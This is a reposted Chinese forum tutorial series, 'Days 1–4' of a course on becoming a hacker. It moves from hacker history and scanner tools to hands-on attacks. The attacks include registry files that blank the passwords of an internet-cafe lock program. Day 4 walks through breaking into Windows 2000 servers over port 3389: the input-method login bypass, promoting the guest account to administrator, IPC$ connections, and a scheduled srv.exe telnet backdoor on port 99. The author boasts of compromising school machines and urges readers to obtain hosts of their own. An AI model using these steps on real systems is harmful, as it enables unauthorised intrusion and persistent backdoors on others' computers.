这片文章现在已经出书了 请大家关注一下
《30天打造专业红客》已经正式由人民邮电出版社出版了。
图书详细情况请参见:http://www.china-pub.com/computers/c...o.asp?id=27869
图书勘误地址:http://jingguan.china-pub.com/comput...B5%BA%EC%BF%CD
图书目录:http://www.china-pub.com/computers/c...D=27869&type=1
图书前言:http://www.china-pub.com/computers/c...D=27869&type=6
30天打造专业红客
[ 作者:蓝色 转贴自:基尔网]
『第1天』何谓黑客?
--------------------------------------------------------------------------------
何谓“黑客”
黑客是英文“HACKER”的音译。动词原形为“HACK”,意为“劈”、“砍”。英文词典是这样解释黑客行为:未经授权进入一个计算机的存储系统,如数据库。中文译成“黑客”贬义比英文原义似乎略重,有“未经允许”等不合法的含义。另一种说法是,HACK是本世纪早期麻省理工学院俚语,有“恶作剧”之意,尤其指手法巧妙,技术高明的恶作剧,并且带有反既有体制的色彩。
四代黑客铸就了网络
有人说,美国人创造了黑客,如同他们创造了牛仔。
本世纪60至70年代,一群大学计算机系教室里的知识分子利用“分时系统”技术把计算机主机变成了事实上的个人计算机,从而使更多的人有机会接触到计算机。这些人就是第一代黑客。当时做一名计算机黑客是一件很荣耀的事,它意味着对电脑的全身心的投入,虽然可能被外人视为疯狂之举。
70年代后期,第二代黑客领头人是大名鼎鼎的史蒂夫。乔布斯、史蒂夫、伍兹尼亚克和费尔森斯坦,发明并产生了个人计算机。他们都是非学术界的,属铁杆反文化的类型。作为坚定的反文化分子,他们使计算机王国的老大IBM颜面尽失。
80年代初出现的第三代黑客,为个人计算机设计了各种应用教育和娱乐程序。特别是米彻·凯普发明的LOTUS1 1-2-3电子报表程序促成了IBM PC的成功。
第四代黑客出现在80年代中期。他们发明了包罗万象的电子公告牌(BBS)和自由平等的以非层级方式连接的USENET,并且将美国国防部的阿帕网(ARPANET)改造成了今天的互联网络。
黑客的“道德准则”
互联网现在有上千万用户,平均年龄为30岁。很多人深信,就像个人计算机改变了80年代一样,互联网将改变90年代。
“想真正成为黑客,你必须真枪实弹去做黑客应该做的事情。”这是黑客的宣言,并且广告天下,他们声称:不要将你已破解的任何信息与人分享,除非此人绝对可以信赖。不在家庭电话中谈论你HACK的任何事情。当你发送相关信息的BBS时,对你当前所做的黑事尽可能说得含糊一些,以避免BBS受到警告。将你的黑客资料放在安全的地方。在BBS上POST文章的时候不要使用真名和真实的电话号码。如果你黑了某个系统,绝对不要留下任何蛛丝马迹。
显然,一些所谓的道德准则是需要打上一个引号的。但也确实有一些是较为人称道的。如:不要侵入或破坏政府机关的主机;不恶意破坏任何系统;不破化别人的软件或资料……
一切信息都应该是免费的
“一切信息都应该是免费的”。黑客们也有自己的伦理原则。他们深信,任何一个人都能在计算机上创造艺术与美,计算机能够使生活变得更美好。
黑客最重要的信条是不相信权威当局,提倡依*自己。他们把美国已故肯尼迪的话,“不要问你的国家能为你做些什么,要问你能为国家做些什么”改成了“不要问你的国家能为你做些什么,你自己做”。因此,他们中大多数人一改过去学术界蔑视商界的传统,半途辍学支办自己的公司。他们认为信息应该是免费的信息创造了“免费软件”和“共享软件”的概念,使得每个需要这些软件的人都可以得到它们。
坚持“三项基本原则”
国外《PHRACK》杂志被认为是黑客的“官方”新闻通讯,它把黑客的思想扩展成一些基本原则,被概括为一些基本原则。主要内容为“因为设备的高代价超出了大多数黑客的财力,它在感觉上造成的结果是,劈和砍是把计算机知识传给大众的唯一办法”。黑客们坚决反对“权利”只属于那些有权进入和使用现代技术的群体。
基于上述的分析来看,要认识黑客的确不是一件容易的事。不过我们似乎已经明白,黑客不应该总在贬义上被使用。而是应该记住雨果、康沃尔在《黑客手册》一书说的话:“黑客活动的乐趣和报偿纯粹是智力上的”,他们“不过沿袭了一个长期的历史传统,人类社会中,总有那么一批人对机器和技术着迷,他们使用技术时抱着一种嬉戏的态度,以观察会有什么结果发生”。
还有我希望提醒大家严格遵守守则,另外中国的法律在健全,请不要随意做破坏网络的事。
[ 本帖最后由 gunguymadman 于 2006-1-12 11:10 编辑 ]
gunguymadman 回复于:2004-11-19 10:31:16
[ 作者:蓝色 转贴自:基尔网]
『第2天』从端口说起
--------------------------------------------------------------------------------
有些端口是比较重要的比如135,137,138,139,445之类,那我扫描到的端口到底有什么用?我想你肯定要问,这样今天,我就用一个真实的扫描向你讲述扫到的端口的用途。
被扫的主机:192.***.xx.x
主机IP数:4
发现的安全漏洞:7个
安全弱点:45个
系统: Standard: Solaris 2.x, Linux 2.1.???, Linux 2.2, MacOS
Telnet (23/tcp)
ssh (22/tcp)
ftp (21/tcp) (发现安全漏洞)
netstat (15/tcp)
daytime (13/tcp)
systat (11/tcp)
echo (7/tcp)
time (37/tcp)
smtp (25/tcp)
www (80/tcp) (发现安全漏洞)
finger (79/tcp)
auth (113/tcp)
sunrpc (111/tcp)
pop-2 (109/tcp)
linuxconf (98/tcp)
imap2 (143/tcp)
printer (515/tcp)
shell (514/tcp)
login (513/tcp)
exec (512/tcp)
unknown (693/tcp)
unknown (698/tcp)
unknown (727/tcp)
swat (910/tcp)
unknown (1025/tcp)
unknown (1039/tcp)
unknown (1038/tcp)
unknown (1037/tcp)
unknown (1035/tcp)
unknown (1034/tcp)
unknown (3001/tcp)
unknown (6000/tcp)
echo (7/udp)
general/tcp
daytime (13/udp)
unknown (728/udp) (发现安全漏洞)
unknown (2049/udp)
unknown (681/udp)
unknown (2049/tcp)(发现安全漏洞)
可用telnet登录的端口 (23/tcp)
这个信息表明远程登录服务正在运行,在这里你可以远程登录到该主机,这种不用密码的远程登录服务是危险的,如果可以匿名登录,任何人可以在服务器和客户端之间发送数据。
发现的可攻击弱点 (21/tcp)
我在那里发现了一个目录是可写的:
/incoming
ftp端口 (21/tcp)
ftp服务TELNET服务一样,是可以匿名登录的,而且在有的机器上它还允许你执行远程命令,比如CWD ~XXXX,如果你能CWD ROOT成功,那你就可以获得最高权限了,不过这样的好事好像不多。另外,有时还能用它获得一个可用的帐号(guest),或得知主机在运行什么系统
13/tcP(daytime)
从这里可以得知服务器在全天候运行,这样就有助于一个入侵者有足够的时间获取该主机运行的系统,再加上udp也在全天候的运行,这样可以使入侵者通过UDP欺骗达到主机拒绝服务的目的
ECHO(7/tcp)
这个端口现在没什么用处,但它可能成为一个问题的来源,顺着它有可能找到其它端口以达到拒绝服务的目的。
(25/tcp)smtp端口
该端口开放邮件传输协议
回应可执行EXPN和VRFY命令
EXPN可以发现发送邮件的名称或者能找到一个完整的邮件接收人的名称。
VRFY命令可以用来检测一个帐号的合法性
我们可以试着发这样一个类型的邮件给它:
user@hostname1@victim
我们会收到一个这样的邮件:
user@hostname1
也许我们就能用它穿过防火墙
WWW(80/TCP)端口
它表明WWW服务在该端口运行
finger (79/tcp) 端口
finger服务对入侵者来说是一个非常有用的信息,从它可以获得用户信息,查看机器的运行情况等
auth (113/tcp)
ident服务披露给入侵者的将是较敏感的信息,从它可以得知哪个帐号运行的是什么样的服务,这将有助于入侵者集中精力去获取最有用的帐号(也就是哪些人拥有ROOT权限)
(98/tcp) LINUX在这个端口上运行
(513/tcp) RLOGIN在这个端口上运行
这种服务形同于TELNET,任何人可以在它的引导下在客户端和服务端之间传送数据。
exec (512/tcp)
rexecd在该端口开放,该服务使一个破译者有机会从它那里扫描到另外一个IP,或者利用它穿过防火墙。
也许你还能发现很多端口,不同的端口会有不同的作用
我最喜欢开135端口的,我们学校的几个FTP和主机都开了135端口,还用默认密码(不知道是为什么,我想主要是管理员考虑我们找不到肉鸡了『都2004年了,肉鸡很难找的,因为各位大侠都用着呢』,所以特地给我们准备好了),把我高兴的几天都没睡好,可惜里面没什么东西。只能当空间用着了。不过我们学校的主机大都用的是UNIX的,不是瘟二钱的,所以也让人有点郁闷啊,UNIX有点复杂,我只得从0学,还有点难,我会在后面讲到的,现在我们主要是关注WIN2000操作系统的主机了,说到这不能不提一下WIN2K源代码的泄漏,兄弟我在第一时间拿到了这个泄漏的源代码,有230M,还真多,看了一个晚上,也不怎么了解,反正有的是时间,先贴一段,大家瞧瞧,有看懂的,就不用来这看这了,呵呵
至于软件方面我喜欢用流光(有些人或许不知道这是什么),是扫面器,很好用,是国产的,就是前面访问的小容做的,但他在里面设置了限制不许PING国内的主机,但好多大哥早就破掉了(感觉很幸福啊,不用自己破了),现在的最高版本好像是流光5.0吧,到GOOGLE 上搜一下就能找到N个,我就不说了(要提高动手能力嘛)
下面我来介绍几种常见的扫描器:
一。NSS(网络安全扫描器)
NSS由Perl语言编成,它最根本的价值在于它的速度,它运行速度非常快,它可以执行下列常规检查:
■Sendmail
■匿名FTP
■NFS出口
■TFTP
■Hosts.equiv
■Xhost
注:除非你拥有最高特权,否则NSS不允许你执行Hosts.equiv。
利用NSS,用户可以增加更强大的功能,其中包括:
■AppleTalk扫描
■Novell扫描
■LAN管理员扫描
■可扫描子网
简单地说,NSS执行的进程包括:
■取得指定域的列表或报告,该域原本不存在这类列表
■用Ping命令确定指定主机是否是活性的
■扫描目标主机的端口
■报告指定地址的漏洞
尽管没有详尽讨论NSS,但我在这里要说明一些次要的问题:
■在对NSS进行解压缩后,不能立即运行NSS,需要对它进行一些修改,必须设置一些环境变量,以适应你的机器配置。主要变量包括:
■$TmpDir_NSS使用的临时目录
■$YPX-ypx应用程序的目录
■$PING_可执行的ping命令的目录
■$XWININFO_xwininfo的目录
提示:如果你隐藏了Perl include目录(目录中有Perl include文件),并且在PATH环境变量中没有包含该目录,你需要加上这个目录;同时,用户应该注意NSS需要ftplib.pl库函数。NSS具有并行能力,可以在许多工作站之间进行分布式扫描。而且,它可以使进程分支。在资源有限的机器上运行NSS(或未经允许运行NSS)应该避免这种情况,在代码中有这方面的选项设置。
你可在下面地址找到NSS拷贝。http://www.giga.or.at/pub/hacker/unix
二。Strobe(超级优化TCP端口检测程序)
strobe是一个TCP端口扫描器,它可以记录指定机器的所有开放端口。strobe运行速度快(其作者声称在适中的时间内,便可扫描整个一个国家的机器)。
strobe的主要特点是,它能快速识别指定机器上正在运行什么服务。strobe的主要不足是这类信息是很有限的,一次strobe攻击充其量可以提供给“入侵者”一个粗略的指南,告诉什么服务可以被攻击。但是,strobe用扩展的行命令选项弥补了这个不足。比如,在用大量指定端口扫描主机时,你可以禁止所有重复的端口描述。(仅打印首次端口定义)其他选项包括:
■定义起始和终止端口
■定义在多长时间内接收不到端口或主机响应,便终止这次扫描。
■定义使用的socket号码
■定义strobe要捕捉的目标主机的文件
提示:在你获得strobe的同时,必然获得手册页面,这对于Solaris 2.3是一个明显的问题,为了防止发生问题,你必须禁止使用getpeername()。在行命令中加入-g 标志就可以实现这一目的。
同时,尽管strobe没有对远程主机进行广泛测试,但它留下的痕迹与早期的ISS一样明显,被strobe扫描过的主机会知道这一切(这非常象在/var/adm/messages文件中执行连接请求)。
三。SATAN(安全管理员的网络分析工具)
SATAN是为UNIX设计的,它主要是用C和Perl语言编写的(为了用户界面的友好性,还用了一些HTML技术)。它能在许多类UNIX平台上运行,有些根本不需要移植,而在其他平台上也只是略作移植。
注意:在Linux上运行SATAN有一个特殊问题,应用于原系统的某些规则在Linus平台上会引起系统失效的致命缺陷;在tcp-scan模块中实现select()调用也会产生问题;最后要说的是,如果用户扫描一个完整子网,则会引进反向fping爆炸,也即套接字(socket)缓冲溢出。但是,有一个站点不但包含了用于Linux的、改进的SATAN二进制代码,还包含了diff文件,这些条款可以在ftp.lod.com
上发现,或者可以直接从Sun站点(sunsite.unc.edu)取得diff文件:
/pub/linux/system/network/admin/satan-linux.1.1.1.diff.gz
SATAN用于扫描远程主机的许多已知的漏洞,其中包括,但并不限于下列这些漏洞:
■FTPD脆弱性和可写的FTP目录
■NFS脆弱性
■NIS脆弱性
■RSH脆弱性
■Sendmail
■X服务器脆弱性
你可在下面地址中获得SATAN的拷贝:http://www.fish.com/
安装过程
SATAN的安装和其他应用程序一样,每个平台上的SATAN目录可能略有不同,但一般都是/satan-1.1.1。安装的第一步(在阅读了使用文档说明后)是运行Perl程序reconfig。这个程序搜索各种不同的组成成分,并定义目录路径。如果它不能找到或定义一个浏览器。则运行失败,那些把浏览器安装在非标准目录中(并且没有在PATH中进行设置)的用户将不得不手工进行设置。同样,那些没有用DNS(未在自己机器上运行DNS)的用户也必须在/satan-1.1.1/conf/satan.cf中进行下列设置:$dont_use_nslookuo=1;在解决了全部路径问题后,用户可以在分布式系统上运行安装程序(IRIX或SunOS),我建议要非常仔细地观察编译,以找出错误。
提示:SATAN比一般扫描器需要更多一些的资源,尤其是在内存和处理器功能方面要求更高一些。如果你在运行SATAN时速度很慢,可以尝试几种解决办法。最直接的办法就是扩大内存和提高处理器能力,但是,如果这种办法不行,我建议用下面两种方法:一是尽可能地删除其他进程;二是把你一次扫描主机的数量限制在100台以下。最后说明的一点是,对于没有强大的视频支持或内存资源有限的主机,SATAN有一个行命令接口,这一点很重要。
四。Jakal
Jakal是一个秘密扫描器,也就是就,它可以扫描一个区域(在防火墙后面),而不留下任何痕迹。
秘密扫描器工作时会产生“半扫描”(half scans),它启动(但从不完成)与目标主机的SYN/ACK过程。从根本上讲,秘密扫描器绕过了防火墙,并且避开了端口扫描探测器,识别出在防火墙后面运行的是什么服务。(这里包括了像Courtney和GAbriel这样的精制扫描探测器)
在下面地址中可以找到由Half life,Jeff(PhiJi)Fay和Abdullah Marahie编写的Jakal拷贝:http://www.giga.or.at.pub/hacker/unix
⑸IdentTCPscan
IdentTCPscan是一个更加专业化的扫描器,其中加入了识别指定TCP端口进程的所有者的功能,也就是说,它能测定该进程的UID。
伍。CONNECT
CONNECT是一个bin/sh程序,它的用途是扫描TFTP服务子网
六。FSPScan
FSPScan用于扫描FSP服务顺。FSP代表文件服务协议,是非常类似于FTP的Internet协议。它提供匿名文件传输,并且据说具有网络过载保护功能(比如,FSP从来不分*)。FSP最知名的安全特性可能就是它记录所有到来用户的主机名,这被认为优于FTP,因为FTP仅要求用户的E-mail地址(而实际上根本没有进行记录)。FSP相当流行,现在为Windows 和OS/2开发了GUI客户程序
七。XSCAN
XSCAN扫描具有X服务器弱点的子网(或主机)。乍一看,这似乎并不太重要,毕竟其他多数扫描器都能做同样的工作。然而,XSCAN包括了一个增加的功能:如果它找到了一个脆弱的目标,它会立即加入记录。
XSCAN的其他优点还包括:可以一次扫描多台主机。这些主机可以在行命令中作为变量键入(并且你可以通过混合匹配同时指定
上面的有些是英文界面的,不过好像不少都用汉化补丁,找找吧,如果你实在用不来上面的扫描器,我推荐2款国产的很好用的扫描器:网络刺客纪念版
http://www.e3i5.com/soft-2004/soft/132.htm
网络主机扫描(HostScan) V1.2
http://www.pcdog.com/soft/15090.htm
上面2款说是共享,其实不注册所有功能都能用,推荐不要注册(我怕会有提取系统信息的后门)
gunguymadman 回复于:2004-11-19 10:32:18
[ 作者:蓝色 转贴自:基尔网]
[第3天]继续讲扫描
发表:2004-4-2 13:07:06 未经作者同意不得转载!
--------------------------------------------------------------------------------
有人提意见了,说讲的太慢了,可我无法想象你连扫描,端口之类还弄不清楚,怎么一步发展呢,昨天讲了扫描,相信很多朋友已经PING 了很多主机了吧,千万别弄我的啊,我用的是人家的主机,他们很白的。找到了漏洞的目的是什么呢?是控制对方,即是获得远程shell。shell这个概念是从UNIX下继承过来的,是指与xx作系统核心的一种交互方式和界面。还是不懂是吗?有篇关于SHELL的帖子大家去看一看http://202.101.18.235/club/bbs/show...飧龃示涂梢粤恕?/a>;
怎么得到shell呢?这很关键,有很多方法:典型的例子是telnet。得到shell的办法有很多种,比如通过系统自带的telnet,终端服务。或者用木马和工具提供的,如winshell,冰河等等。说到冰河我不想说那么多没有篇文章很好大家看一下:http://978229.myrice.com/tty/Preview.htm#MAILLISTDOC19
得到shell后,不是所有权限都会开的,得到管理员权限当然是我们的梦想了。所以有时会有提升权限的问题。当然这也是利用了漏洞。
Win2K 提升权限漏洞
http://www.yesky.com/20010530/182273.shtml;
Microsoft SQL Server Webtasks权限提升漏洞http://www.mhdn.net/se/2002-11-08/6386.html
Linux kernel ptrace提升权限漏洞http://www.softhouse.com.cn/docs/southpark2169.html
IIS提升权限漏洞
http://moon-soft.com/e_commerce/sof...elite572760.htm
当然这些漏洞大都有补丁可下了,如果管理员勤快的话就不好了,不过很多人都很马虎的,我认识个管理员是一个高校的,用的是win2000竟从不打补丁,理由是俺用的是D版的,打补丁恐怕会冲系统啊(有道理啊)
觉得讲shell还不透彻(有朋友发短信问我了),我查了一下资料:
Shell是什么?
任何发明都具有供用户使用的界面。UNIX供用户使用的界面就是Shell(DOS的command熟悉吧,但UNIX的要强大的多)。 Shell为用户提供了输入命令和参数并可得到命令执行结果的环境。形象点就是:dos中的command.com就是一种shell程序
今天就说到这,最后写个小知识:针对网吧的限制 对有些朋友或许有用哦
首先让我们一起来看看网吧老板们现在一般都会布下些什么样的障碍吧:(我根据入侵的难易划分了以下几种等级)
初级
1.禁止“运行”;
2.禁止使用菜单条上的右键;
3.屏蔽本地硬盘(通过修改注册表);
4.屏蔽IE中的文件菜单;
5.禁止IE下载;
6.不提供TE(只提供去掉TE的QQ);
中级
中级除初级所有的限制外还有:
1。禁止使用WINZIP;
2。禁止使用实核DOS;
3。禁止导入REG文件;
4。禁止导入INF文件;
5。禁止使用组合键(主要是WIN开始+?,SHIFT+?,ALT+?);
高级
高级中除了初,中级所有的限制外还有
1。开机屏蔽F4,F5和F8键;
2。屏蔽MS-DOS方式;
3。屏蔽鼠标右键;
4。禁止是使用REGEDIT;
(这高级类我个人认为纯属变态行为,因为机子一旦出了什么问题,那就%#%@!#@*&……,不过好在只要能进入WINDOWS的话,咱就有办法绕过去^_^)
当然一定还有的就是——美萍。
好了,我就挨个挨个的说其对策吧。
对于初级
用“WIN开始”+D,刷新桌面。在美萍下的桌面实际是美萍指定的一个目录,而原桌面则被隐藏了,刷新是对原桌面的刷新,只要你不切换其他窗口,我的电脑等将会一直存在于桌面之上。你要做的是:打开我的电脑,然后再点向上,就可以把桌面以窗口的形式打开了(因为硬盘是被屏蔽掉的,当我们打开我的电脑时将什么都看不见),此时你要做的是新建一个文本文档输入这么几行:
REGEDIT4
[HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionExplorer]
"NoDrives"=dword:00000000
另存为随便一个REG文件就可以了,之后你要做的就是导入它(理解为运行它也行),等你再次开机时打开我的电脑就会看见那可爱的C:盘呀D:盘呀就又回来啦.当然你如果不想看见美萍,也行,只要把文档的内容改改就行了:
REGEDIT4
[HKEY_LOCAL_MACHINESoftwareMpsoftSmenu]
"exitpassword"="i"
"setuppassword"="i"
"quitpassword"="i"
继续导入它,重启后你就放心大胆的退出美萍吧,此时它的密码可是什么都没有哟^_^但愿你不要干坏事。
此外我们还可以通过“查找”来绕过美萍(自然是用“WIN”+F啦)。网吧老板们大都因为屏蔽了硬盘而对次热键大开绿灯。为什么会这样呢?其实原因也是再简单不过的了,因为你在搜索栏内找不到本地硬盘,如果你选择我的电脑来进行查找如COMMAND等的文件时一定会被告知“找不到”。但我要说的是他们的如意算盘又打错了,搜索栏中是可以输入的。在上面如输入“C:”然后再找“COMMAND”,哈,找到的可就是一大堆的东东了。此时如运行COMMAND.COM是可是进入DOS,打开WINDOWSCOMMAND就是用窗口形式打开此目录的。这样一来,咱又可以对本地硬盘进行访问啦。
对于中级
因为禁止导入REG文件,所以我们无法通过导入注册表的方法来实现访问,又由于禁止使用WINZIP,所以此方法也失灵,禁用“查找”,所以……。但你不要认为我们就真的没办法绕过去了,方法多多,看你能否想的到咯。
嘿嘿……我们要用的还是IE。在IE地址栏中用中文输入“桌面”回车。如此一来我们熟悉的桌面又以窗口的形式打开啦~现在我们要做的和上面要做的一样:新建一个文本文档,然后输入这么一行
C:COMMAND.COM
当然此时我们就的把他另存为批处理文件啦。随便的一个文件名后加上.BAT就可以了,然后运行它。哈,我们又跳入了DOS了(注意的是此时是没办法用REGEDIT来修改注册表的,如果美萍是6.5版以上的注册表修改器将会是一闪而过。我们是无法使用的。)跳入DOS后一般是没有限制的。然后……嘿嘿……不说什么了吧:>;
对于高级
咱是没话说了。开机屏蔽F4,F5,F8我们不能从开机时下手;屏蔽MS-DOS,咱不能使用批处理文件和进入MS-DOS方式(也不能玩DOS游戏,相信此网吧里是不会提供游戏的,那儿也只可能有IE和去掉TE的QQ);屏蔽鼠标右键菜单,我们不能新建文件;估计此时网吧里应该用的是超级兔子中的安全限制全选+屏蔽本地硬盘+美萍来限制大家的。估计你看到这时想必要嚎啕大哭一场,别,请珍惜这世界上的每一滴水,放心什么都挡不住咱:)
不过呢,到此我们再也找不到老板们的防御漏洞了。没办法,只好用美萍和IE的了。
和中级说的一样,在IE的地址栏中输入如我的文档或桌面等,我的文档和桌面将会以窗口的形式打开。别忘了此时你只有一个左键,打消你通过建立文件来绕过美萍的念头吧。此时你要做的工作只有一个:查找。找什么呢?找一个快捷方式的文件,找到后点上它。不知你注意过IE没?工具栏上是有一个属性按钮的。点属性。我们将看见有目标和其始位置的,注意一下其始位置吧,它是本地硬盘上的一个目录的,好~接下来点查找目标,咦~是不是又到了本地硬盘上了?不过这个目录是不是很眼熟?对了~就是刚才那个目标目录。好了现在我们已经完成了对本地硬盘进行访问的目的了。什么?你的QQ的聊天记录不能DEL掉?唉~别按DEL键呀,它可是有可能被屏蔽掉了哟。点IE上的删除吧(就是那个*叉)。怎么?认为权限太少?,那你别忙呀,解铃还需系铃人。找兔子吧,一般的说它在硬盘上的某处。根据大家的习惯来看,它不是在C盘的TOOLS下就是在D盘上的TOOLS下。其实你也别想着更多的权限了。大家想做的不就是想把自己的上网记录删除么?阿云我告诉你他们的地址不就完了?不用那么麻烦的。
C:PROGRAM FILSQICQ你的号码(也可能是是c:PROGRAM FILESTENCENT你的号码) 这是QQ的聊天记录;
C:WINDOWSCOOKIES 这是你网上个帐号的密码保存处;
嘿,删了不就完了?
写到这儿,我也没什么好说的了,最后自然的给大家介绍介绍经验了.
1。确认本地禁止导入REG文件的方法:看看REG文件是不是只能以文本文件打开,如是的话则被屏蔽。
2。确认禁用组合键,用QQ。哈,又是QQ。把QQ的热键设为ALT+Z,按下ALT+Z看看QQ能否弹出,如不能,则被屏蔽
3。确认屏蔽鼠标右键菜单。这个就比较简单了,屏蔽了就是无论在桌面或目录的下点右键都不会有菜单的弹出。
哦~对了,我还的补充几点,先别嫌我烦,等我把话说完。
1。我们还可以通过网络邻居的。把目录设为完全共享,通过网络邻居访问本机,之后……。当你以网络邻居的身份访问本机时,哈,一切烦人的权限限制就都没啦。什么?你不知道这么设?哈,是属性里的哟,自己看吧。
2。桌面其实是本地硬盘上的一块区域(是C:WINDOWSDESKTOP目录)。
3。网吧里的QQ一定有一个备份在本地硬盘上的而且一般会在D盘如TOOLS,DOWNLOADS或BACKUP之类的目录下的,自己用心找找,找到后重新安装,把原来的QQ覆盖掉后,嘿~久别的TE又回来啦。
4。如进入DOS模式,权大家还是多用内部命令,少用外部命令。因为外部命令是可改名的,况且杀伤太大,一不小心……
5。网吧里最好不要用木马,很容易被对方发现,如果你因次多了两只熊猫眼嘛~可别怪我没提醒你哟~
6。如果你找不到那些快捷方式,哈去点IE的最左上角,可以拉一个快捷方式的,改改其始位置后就可以了~
行了,就这么多了。相信没有什么机子能挡的住你了。不过告诉你一个秘密:咱也有无能为力的时候。比如说现在咱所处网吧里就有俺无法取的权限的机子。唉~是我无能,是我无用。但他们没电源我有什么办法呢?对不?
【声明】你的博客网刊载此文并不代表同意其说法或描述,也不构成任何投资建议。转载请注明出处。
gunguymadman 回复于:2004-11-19 10:33:28
[ 作者:蓝色 转贴自:基尔网]
[第4天]从终端服务3389讲起
发表:2004-4-2 13:10:19 未经作者同意不得转载!
--------------------------------------------------------------------------------
上面我们讲到了提升权限的问题,好现在我们就来说一个简单的入侵,从3389找个肉鸡(没有肉鸡的话,对自己的技术提高是没好处的,不能老是看却不练啊,陈同学你说对吗?)
请各位注意,我这里并不是说什么烂鬼输入法漏洞。这种漏洞差不多已经绝迹了,太难找了,如果有人找到了,那恭喜你啦,证明你今天时运高,记得要买彩票啊!众所周知,有开3389的一般都是服务器,也就是说有很大可能带局域网的,而内部入侵比外部要方便一点,这对大家是很好的,我想看我这个东西的很多都是学生吧。如何能快速方便的得到开了终端的肉机呢?这需要用到两个工具,都是扫描工具来的,scanner3.0和焦点的xscan。打开scanner,输入一段IP,范围要大一点,scanner速度很快的。在“所有端口从”那里都填3389,点击“开始”就可以开工了。
很快的,扫描完成,结果出来了。点击右下脚的“删除”把多余的IP删了,只留下开了3389的IP。再点击“保存”,把结果保存到文件夹里。找到保存文件的目录,打开它。用记事本的替换功能把它保存为一个纯IP的TXT文件。“编辑-替换”在“查找内容”里输入要删除的垃圾,再点“全部替换”就行了。打开xscan,点击左边的蓝色按钮,进入“扫描板块”,只需在“SQL-Server弱口令”“NT-Server弱口令”前打钩,其他都清除掉。再点击右边的蓝色按钮,进入“扫描参数”,钩上“从文件获取主机列表”,打开刚才替换成纯IP的TXT文件,确定之后就可以扫描了。这时需要比较长的时间!(注意我是拿3.0为例的,其他的也差不多)。确定目标,用mstsc(登陆终端的工具,这个我不喜欢用,但确实很容易上手的)登陆对方主机后,打开对方cmd.exe,输入“net use”,先看看有没有人也在连接这部机(安全一点好,毕竟不是在学雷峰啊)。“net view”命令之后当出现一堆前面带\\字符的就表示~~就表示什么呢??我想大家都非常明白吧!,如果不明白的话,我。。(也不知道怎么说了 )
好了以后你就想干什么就干什么了。不过有时候还真不知道干什么,总之得干个事,装个什么局域网控制软件,不过不要体积太大,容易被发现。
刚刚说有输入法漏洞的机子很少了,但有些朋友担心还有怎么办,不是吃大亏了吗?这样我找了一篇写的不错的文章贴一下( 注意是转载)写的不错,据说是新写的,这位大哥也真闲啊
WIN2000中文简体版存在的输入法漏洞,可以使本地用户绕过身分验证机制进入系统内部。经实验,WIN2000中文简体版的终端服务,在远程操作时仍然存在这一漏洞,而且危害更大。
WIN2000的终端服务功能,能使系统管理员对WIN2000进行远程操作,采用的是图形界面,能使用户在远程控制计算机时功能与在本地使用一样,其默认端口为3389,用户只要装了WIN2000的客户端连接管理器就能与开启了该服务的计算机相联。因此这一漏洞使终端服务成为WIN2000的合法木马。
工具:客户端连接管理器,下载地址:自己找吧,天天有好几种呢。
入侵步骤:
一,获得管理员账号。
我们先对一个网段进行扫描,扫描端口设为3389,运行客户端连接管理器,将扫描到的任一地址加入到,设置好客户端连接管理器,然后与服务器连结。几秒钟后,屏幕上显示出WIN2000登录界面(如果发现是英文或繁体中文版,放弃,另换一个地址),用CTRL+SHIFT快速切换输入法,切换至全拼,这时在登录界面左下角将出现输入法状态条(如果没有出现,请耐心等待,因为对方的数据流传输还有一个过程)。用右键点击状态条上的微软徽标,弹出“帮助”(如果发现“帮助”呈灰色,放弃,因为对方很可能发现并已经补上了这个漏洞),打开“帮助”一栏中“操作指南”,在最上面的任务栏点击右键,会弹出一个菜单,打开“跳至URL”。此时将出现WIN2000的系统安装路径和要求我们填入的路径的空白栏。比如,该系统安装在C盘上,就在空白栏中填入"c:\winnt\system32"。然后按“确定”,于是我们就成功地绕过了身份验证,进入了系统的SYSTEM32目录。
现在我们要获得一个账号,成为系统的合法用户。在该目录下找到"net.exe",为"net.exe"创建一个快捷方式,右键点击该快捷方式,在“属性”->;“目标”->;c:\winnt\system32\net.exe后面空一格,填入"user guest /active :yes"点“确定”。这一步骤目的在于用net.exe激活被禁止使用的guest账户,当然也可以利用"user 用户名 密码/add",创建一个新账号,但容易引起网管怀疑。运行该快捷方式,此时你不会看到运行状态,但guest用户已被激活。然后又修改该快捷方式,填入"user guest 密码",运行,于是guest便有了密码。最后,再次修改,填入“localgroup administrators guest /add,将guest变成系统管理员。
注意事项:1、在这过程中,如果对方管理员正在使用终端服务管理器,他将看到你所打开的进程id,你的ip和机器名,甚至能够给你发送消息。
2、终端服务器在验证你的身份的时候只留给了你一分钟的时间,在这一分钟内如果你不能完成上述操作,你只能再连结。
3、你所看到的图像与操作会有所延迟,这受网速的影响。
二,创建跳板。
再次登录终端用务器,以"guest"身份进入,此时guest已是系统管理员,已具备一切可执行权。打开“控制面板”,进入“网络和拔号连接”,在“本地连接”或“拔号连接”中查看属性,看对方是否选择“Microsoft 网络的文件和打印机共享”,如果没有,就打上勾。对方如果使用的是拔号上网,下次拔号网络共享才会打开。
退出对方系统,在本地机命令提示符下,输入
net use \\IP Address\IPC$ ["password"] /user:"guset",通过IPC的远程登陆就成功了。
登陆成功之后先复制一个Telnet的程序上去(小榕流光安装目录下的Tools目录里的Srv.exe,另外,还有ntml.xex,一会要用),这个程序是在对方上面开一个Telnet服务,端口是99。
copy c:\hack\srv.exe \\***.***.***.***\admin$
然后利用定时服务启动它,先了解对方的时间:
net time \\***.***.***.***
显示:
\\***.***.***.*** 的当前时间是 2001/1/8 下午 08:55
命令成功完成。
然后启动srv.exe:
at \\***.***.***.*** 09:00 srv.exe
显示:
新加了一项作业,其作业 ID = 0
过几分钟后,telnet ***.***.***.*** 99
这里不需要验证身份,直接登录,显示:
c:\winnt:\system32>;
我们就成功登陆上去了。然后又在本地打开命令提示符,另开一个窗口,输入:
copy c:\hack\ntlm.exe \\211.21.193.202\admin$
把事先存放在hack目录里的ntlm.exe拷过去。然后又回到刚才的telnet窗口,运行ntlm.exe
C:\WINNT\system32>;ntlm
显示:
Windows 2000 Telnet Dump, by Assassin, All Rights Reserved.
Done!
C:\WINNT\system32>;
C:\WINNT\system32>;
好,现在我们来启动WIN2000本身的telnet,首先终止srv.exe的telnet服务:
net stop telnet 系统告诉你并没有启动telnet,不理它,继续:
net start telnet 这次真的启动了telnet,我们可以在另开的命令提示符窗口telnet到对方的
23端口,验证身份,输入我们的guest账号和密码,它就真正成为我们的跳板了。我们可以利用它到其它的主机去。
三、扫除脚印:
